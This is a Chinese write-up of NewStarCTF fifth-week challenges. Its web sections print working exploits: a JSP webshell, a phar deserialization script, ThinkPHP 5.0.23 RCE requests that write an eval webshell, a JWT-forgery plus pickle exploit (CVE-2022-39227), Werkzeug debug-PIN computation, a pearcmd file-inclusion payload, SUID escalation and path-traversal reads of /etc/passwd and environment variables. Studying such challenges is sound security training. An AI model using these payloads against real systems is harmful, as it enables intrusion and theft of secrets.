一、隐秘的图片
给出了两张图片,像是二维码,但是其中一张图片是损坏的,因此想到使用Stegsolve对两张图片进行异或:
异或得到一张新的二维码,扫描获得Flag:
二、ezhard
拿到文件之后发现是硬盘格式文件
新建目录 挂载
flag在hint.png
三、新建Python文件
pyc文件隐写很容易就能找到stegosaurus项目:https://github.com/AngelKitty/stegosaurus
需要注意的是这个项目对于环境要求比较离谱,尽量用Python3.6去运行
直接提取隐写数据即可:
python3 stegosaurus/stegosaurus.py -x flag.pyc
四、BabyAntSword
题目要求如下
首先过滤出POST方式的请求:
http.request.method == POST
发现有一个文件上传的请求:
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (1).png)
上传了一个shell.war文件,这里应该可以看出来其实是tomcat弱口令部署war包GetShell的一个流量。
保存下来war包解压:
jar -xvf download.war
可以获得yesec.jsp:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("n3wst4r");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
由此得到WebShell密码:n3wst4r
这个密码也可以从后续的请求包中得到:
![图片 (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (2).png)
对于蚁剑响应流量的解密就是Base64解密即可,需要去掉响应首尾拼接的干扰字符。
对于蚁剑请求流量的分析需要删掉首部前两个字符,例如在tcp.stream eq 39的请求中我们提取出参数:
f6f75679ab3efc=AvY2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1
去掉参数值的前两位得到:
Y2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1
Base64解码后得到:
cd "/usr/local/tomcat";env;echo f5cd9;pwd;echo 0a25fbc1c5
这里实际上是执行了env命令,我们可以从env中拿到Java版本:
T1BFTlNTTF9WRVJTSU9OPTEuMS4wZS0xDQpIT1NUTkFNRT1iZDI5MDYyN2M1Y2UNCkxEX0xJQlJBUllfUEFUSD0vdXNyL2xvY2FsL3RvbWNhdC9uYXRpdmUtam5pLWxpYg0KSE9NRT0vcm9vdA0KT0xEUFdEPS91c3IvbG9jYWwvdG9tY2F0DQpDQVRBTElOQV9IT01FPS91c3IvbG9jYWwvdG9tY2F0DQpUT01DQVRfTUFKT1I9OA0KSkFWQV9WRVJTSU9OPTd1MTIxDQpHUEdfS0VZUz0wNUFCMzMxMTA5NDk3MDdDOTNBMjc5RTNEM0VGRTZCNjg2ODY3QkE2IDA3RTQ4NjY1QTM0RENBRkFFNTIyRTVFNjI2NjE5MUMzN0MwMzdENDIgNDczMDkyMDdEODE4RkZEOERDRDNGODNGMTkzMUQ2ODQzMDdBMTBBNSA1NDFGQkU3RDhGNzhCMjVFMDU1RERFRTEzQzM3MDM4OTI4ODU4NEU3IDYxQjgzMkFDMkYxQzVBOTBGMEY5QjAwQTFDNTA2NDA3NTY0QzE3QTMgNzEzREE4OEJFNTA5MTE1MzVGRTcxNkY1MjA4QjBBQjFENjMwMTFDNyA3OUY3MDI2QzY5MEJBQTUwQjkyQ0Q4QjY2QTNBRDNGNEYyMkM0RkVEIDlCQTQ0QzI2MjEzODVDQjk2NkVCQTU4NkY3MkMyODRENzMxRkFCRUUgQTI3Njc3Mjg5OTg2REI1MDg0NDY4MkY4QUNCNzdGQzJFODZFMjlBQyBBOUM1REY0RDIyRTk5OTk4RDk4NzVBNTExMEMwMUM1QTJGNjA1OUU3IERDRkQzNUUwQkY4Q0E3MzQ0NzUyREU4QjZGQjIxRTg5MzNDNjAyNDMgRjNBMDRDNTk1REI1QjZBNUYxRUNBNDNFM0I3QkJCMTAwRDgxMUJCRSBGN0RBNDhCQjY0QkNCODRFQ0JBN0VFNjkzNUNEMjNDMTBENDk4RTIzDQpKQVZBX0RFQklBTl9WRVJTSU9OPTd1MTIxLTIuNi44LTJ+ZGViOHUxDQpQQVRIPS91c3IvbG9jYWwvdG9tY2F0L2JpbjovdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4NClRPTUNBVF9UR1pfVVJMPWh0dHBzOi8vd3d3LmFwYWNoZS5vcmcvZHluL2Nsb3Nlci5jZ2k/YWN0aW9uPWRvd25sb2FkJmZpbGVuYW1lPXRvbWNhdC90b21jYXQtOC92OC4wLjQzL2Jpbi9hcGFjaGUtdG9tY2F0LTguMC40My50YXIuZ3oNCkxBTkc9Qy5VVEYtOA0KVE9NQ0FUX1ZFUlNJT049OC4wLjQzDQpUT01DQVRfQVNDX1VSTD1odHRwczovL3d3dy5hcGFjaGUub3JnL2Rpc3QvdG9tY2F0L3RvbWNhdC04L3Y4LjAuNDMvYmluL2FwYWNoZS10b21jYXQtOC4wLjQzLnRhci5nei5hc2MNCkpBVkFfSE9NRT0vdXNyL2xpYi9qdm0vamF2YS03LW9wZW5qZGstYW1kNjQvanJlDQpQV0Q9L3Vzci9sb2NhbC90b21jYXQNClRPTUNBVF9OQVRJVkVfTElCRElSPS91c3IvbG9jYWwvdG9tY2F0L25hdGl2ZS1qbmktbGliDQpmNWNkOQ0KL3Vzci9sb2NhbC90b21jYXQNCjBhMjVmYmMxYzUNCg==
![图片 (3)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (3).png)
JAVA版本为7u121。继续分析下去,在tcp.stream eq 43中分析请求参数:
f6f75679ab3efc=ZBY2QgIi91c3IvbG9jYWwvdG9tY2F0IjtjYXQgLy5zZWNyZXQ7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1
可以得到执行的命令为:
cd "/usr/local/tomcat";cat /.secret;echo f5cd9;pwd;echo 0a25fbc1c5
由此找对应的响应包拿到/.secret文件的内容为:
c5850a0c-dc03-1db2-4303-43d6fdf27985
拼接起来得到Flag:flag{n3wst4r_7u121_c5850a0c-dc03-1db2-4303-43d6fdf27985}
五、Enigma
题目给出源码:
from enigma.machine import EnigmaMachine
from secret import *
def enigma(m, _reflector, _rotors, _rs):
machine = EnigmaMachine.from_key_sheet(
rotors=_rotors,
reflector=_reflector,
ring_settings=_rs,
plugboard_settings='')
temp = machine.process_text(m)
return temp.lower()
print(enigma(flag, reflector, rotors, [rs1,15,rs2]))
# uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn
其中我们未知的加密参数有reflector、rotors和rs1、rs2
大概了解一下这个类库就能知道这几个参数的取值范围,编写脚本爆破:
from enigma.machine import EnigmaMachine
reflectors = ['B-Thin', 'C-Thin']
rotors = ['I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII']
for r1, r2, r3 in [(r1, r2, r3) for r1 in rotors for r2 in rotors for r3 in rotors]:
for r in reflectors:
for a, b in [(a, b) for a in range(1, 26) for b in range(1, 26)]:
machine = EnigmaMachine.from_key_sheet(
rotors=' '.join([r1, r2, r3]),
reflector=r,
ring_settings=[a, 15, b],
plugboard_settings=''
)
temp = machine.process_text('uwdhwalkbuzwewhcaaepxnqsvfvkohskkspolrnswdfcbnn')
if temp.startswith("FLAG"):
print(temp, r1, r2, r3, r)
break
半分钟就能得到Flag:
FLAGISENIGMAISSOOOINTERESTINGCRYPTODOYOUTHINKSO II IV VII C-Thin
包裹flag{}得到Flag:flag{ENIGMAISSOOOINTERESTINGCRYPTODOYOUTHINKSO}
六、Unserialize Again
打开题目查看源码发现提示
然后cookie发现
访问 /pairing.php
,得到源码
在源码中可以知道
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨
所以我们只要在get的apple参数里面使用phar://进行phar反序列化就好了
然后再看上面的 story
类,只有 __wakeup()
和 __destruct()
是有用的,首先需要将 $God='true'
然后 $eating
就是要执行的代码。但是因为有__wakeup()
所以需要绕过它,通过查看php的版本是7.0.9,可以在生成的phar文件里修改 O:5:"story":2
里的2为任意大于2的整数,让表示对象属性个数的值大于真实的属性个数。可以用以下代码生成phar文件,并在编辑器中修改文件里的序列化字符串的值。
<?php
class story{
public $eating = 'cat /f*';
public $God='true';
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$o = new story();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
修改完之后,因为phar的最后有一段signature,是phar的签名,放在文件末尾,要注意因为我们修改了文件的内容,之前的签名就会无效,所以需要更换一个新的签名,生成新签名的脚本如下
from hashlib import sha1
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
最后读取 newtest,phar
的内容进行url编码post传上去,get传 ?pear=1.phar&apple=phar://1.phar
即可
但是这样转来转去的难免会有些麻烦,可以用python脚本让后面两步并作一步直接完成修改签名和上传
from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{.+?\}'
url = "http://9d218b00-1849-4031-b067-7ddef85d45d5.node4.buuoj.cn:81/" # 替换为题目靶机地址
params = {
'pear': '1.phar',
'apple': 'phar://1.phar'
}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')
with open('newtest.phar', 'rb') as fi:
f = fi.read()
ff = urllib.parse.quote(f)
# print(ff)
fin = requests.post(url=url + "pairing.php", data=ff, params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)
# os.remove('newtest.phar')
七、Final
通过信息收集确定ThinkPHP版本为5.0.23,可以查找到ThinkPHP 5.0.23存在RCE漏洞,找到现成的Exp:https://blog.csdn.net/Lucky1youzi/article/details/128740552
/index.php?s=captcha
POST: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=5
可以看到system被禁用:
但是还可以用exec来执行命令,写入WebShell:
/index.php?s=captcha
POST: _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (1)-1699273071988-7.png)
flag位于flag_dd3f6380aa0d,需要提权才能读取,查看具有SUID权限的命令:
find / -user root -perm -4000 -print 2>/dev/null
![图片 (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (2)-1699273209904-9.png)
cp命令SUID提权读取Flag:
cp /flag_dd3f6380aa0d /dev/stdout
八、Ye's Pickle
开局就是Funweb的python_jwt的CVE-2022-39227
开局界面给了一个token
根据这个进行伪造,最终exp如下
import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTkyNzc3NDcsImlhdCI6MTY5OTI3NDE0NywianRpIjoieHlfWEc3ZXlGMmpFb2JqOF85ZWV1QSIsIm5iZiI6MTY5OTI3NDE0Nywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.bJxvZEv5NZiOkBW4_ilsJZxn7-gV2gs_RqVk4dfAc8_3CddyOu7Lk9Tvy1vqkTx3mMEs2mT5Eor-n9ugNJlxf-xGCGNHQbXU5Ib_PlFPXnyC5TZRsKDRGDNQLDumkc_8WNajFnOc71C48zqMPGWyiCQVNJLyLP14EHjvGMec2jM-39zYyt_1UQVYzJC1F4iAUToWvPInWrlZTo56Kvls-6MSaTEhxfCWN1BAbgNf6uRZ1q7tLZyZfaAR5muMruQZc9GSGd0Lqhe0nD0pFiFr1YdlNZD-qO5c8atiqyHLsnpsSBqhKXv3YHQhyvwHBZ3L56GEjwkorSFZ74nWYFXWXA')
print(token)
opcode = '''cos
system
(S''
tRcos
system
(S'whoami'
tR.'''
print(base64.b64encode(opcode.encode()))
结合所给附件的路由:
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)
def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)
@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
可以利用/pickle路由下的pickle.loads函数进行pickle的反序列操作。对pickle反序列话不了解的可以看看这篇文章(https://blog.csdn.net/weixin_43610673/article/details/124889988和https://blog.csdn.net/Derait/article/details/119487233)。exp中的opcode就是利用反序列执行的命令。
九、pppython?
页面源代码:
<?php
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}
try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}
?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value
根据hint可以看到根目录有个app.py
ssrf用file://读文件可以看到是一个开了debug的flask监听在1314端口
使用以下脚本算cookie,注意machine_id中,/proc/self/cgroup字段的生成过程,以及cookie的生成方式
具体参考flask源码
# sha1
import hashlib
import time
from itertools import chain
probably_public_bits = ['root' # /etc/passwd, /etc/shadow验证
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到
]
bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a"
did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope"
did = did.strip().rpartition("/")[2]
print(did)
private_bits = ['46292774133529', # /sys/class/net/eth0/address 16进制转10进制
# machine_id由三个合并(docker就后两个):1. /etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
bid + did # /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size))
break
else:
rv = num
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(rv)
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
# 890KUjqCgmGiRRNLpH8a
# http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a
最后在param lolita中加上cookie并执行命令
十、4-复盘
本题是一道非常简单的代码审计题目,这个CMS存在着很多SQLi的漏洞,而且前序的Misc题目流量其实也是通过利用这套程序的文件包含漏洞包含pearcmd.php获取Shell,分析一下index.php的关键代码:
<?php
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';
}else{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}else{
require_once 'pages/error_page.php';
}
?>
非常明显的文件包含漏洞,直接构造Payload:
GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
写入Shell后就是一个SUID提权,首先查看具有SUID权限的命令:
find / -user root -perm -4000 -print 2>/dev/null
注意到gzip命令有SUID权限,gzip读文件:https://gtfobins.github.io/gtfobins/gzip/
gzip -f /flag -t
![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\图片 (1)-1699321730649-4.png)
十一、NextDrive
提示如下
公共资源区存在test.res.http
,点开来里面存在一条
{"name":"test.req.http","hash":"c3baff4421a7a4c3d01c262a05e68bd48cedfa32a2d154fa6c9dd8506776952d","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1697979926334,"isYours":true,"isOwn":true,"ownFn":"test.req.http"
注意这一条的文件名是 test.req.http
,和 test.res.http
是不一样的,我们猜测是一个请求的文件,可能携带敏感信息,我们需要得到它
随便注册一个账号上传一个小文件,我们在网络请求中发现一个 check
包
![image (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\image (1).png)
![image (2)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\image (2).png)
这是一个秒传的请求,我们查看它的请求体
![image (3)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\image (3).png)
只需要提供哈希和文件名即可, autoup
选项表示检测过服务器存在相同文件后直接 upload
根据刚才的结果,test.req.http
的哈希值为
c3baff4421a7a4c3d01c262a05e68bd48cedfa32a2d154fa6c9dd8506776952d
伪造请求
POST /api/action/drive/upload/check HTTP/1.1
Host: node4.buuoj.cn:27741
Content-Type: application/json
Cookie: uid=100001;token=eyJ1c2VybmFtZSI6ImNuaWx5MDMiLCJ1aWQiOiIxMDAwMDEiLCJ0b2tlbiI6IjE0ODA2MTY2YmRkMzkyYmQwMjhhNjdkOTNhYjE0YmRkYmZhZmYwMDliZjRlMGEyMTkxNzkzZjM5MjJjMzg1NmYifS5BUjUcMQs7TiwVNiVhGlZ/.CxQLABhVUBESEmtEXhkMVlhAWVBFU1MfSh0/RQwXBlJbRQ0DGFNXShBDPxQPHFtQWU9eB0IHBBtFET9HCRhcWVxPWVESA1RMRx1oEF8bCAJaQ19QQ15VSkZGaRUIHwxUCEBQC0MDCRFHET5FXRZeU1tEWVZFUlNKQRxtRApIClU
{"hash":"c3baff4421a7a4c3d01c262a05e68bd48cedfa32a2d154fa6c9dd8506776952d","fn":"hack-get.txt","autoup":1}
发包,得到响应上传成功
![image (4)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\image (4).png)
随后在网盘就能看到上传的文件了
下载文件,发现一条:
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiI4MDYwMzUxNThhZGExMjk0MjRhMjlhNzZjMjY4OTgxMzhjNzg0MjdiZGVkZDRkZTRkOGQwNWE3ZmE5NmY2Y2MyIn0uK2UAHx85MWQ8OFQ9UiQPDA.CE9QUENWVxoWQTkUBB4HUQ9AW1cTUQMRR0RqRF5IXVNbFFwCEAAFS0ocPBQPHV5XCBdaUERXVR1BEj9CXRgHAF0VUAAWAFIREhZsRA0bB1deQFEHFFJTG0YWPBMNGF1TCxRYVBleAk1HFT9GDx4HUwxHDQYSVwhJS0c7RV8YDlY
在浏览器开发者工具那边把 uid
和 token
都改成上面的值,然后刷新网页,我们可以看到我们已经变成 admin 账户了
发现 admin 网盘下面有一个[deprecated] share.js
下载下来看看
发现网页存在一个路径 /s/xxxx
,分析代码可以知道, ,分析代码我们可以知道,这个路径携带一个参数 from_uid
表示下载的文件是这个 uid
的用户分享的, /s/
后面跟的是一个字符串,这个字符串前64个字符是文件的hash,会和 from_uid
去检查这个文件是否为共享,如果是的话就会返回给客户端一个文件,这个文件的地址直接是存储路径后面跟上这个字符串,没有过滤,注意这一行:
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn))
这个 hash_fn
就是 /s/
后面的字符串,是完全可控的
所以我们访问公共资源区随便找个 hash
然后保证 /s/
的前64个字符是这个hash,后面我们可以跟路径,比如
/path/to/storage/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900/../../../../../../../etc/passwd
最终会被 path.resolve
解析为 /etc/passwd
,我们对它进行 URL 转码绕过
curl http://node4.buuoj.cn:27741/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd?from_uid=100000
可以看到它确实返回了内容
![image (5)](E:\HDU\CTF\平常做题WP\NewStarCTF-fifthweek.assets\image (5).png)
然后我们尝试读取环境变量,Linux 的 /proc/self/environ
路径能够读取当前进程的环境变量
curl http://node4.buuoj.cn:27741/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron?from_uid=100000 -o /tmp/ttt && cat /tmp/ttt | tr "\0" "\n" && rm /tmp/ttt
得到 flag
FLAG=flag{b4d6c55a-cd03-4628-a79d-bba35d9931f6}
标签:__,文件,fifthweek,NewStarCTF,phar,flag,file,import
From: https://www.cnblogs.com/sbhglqy/p/18106463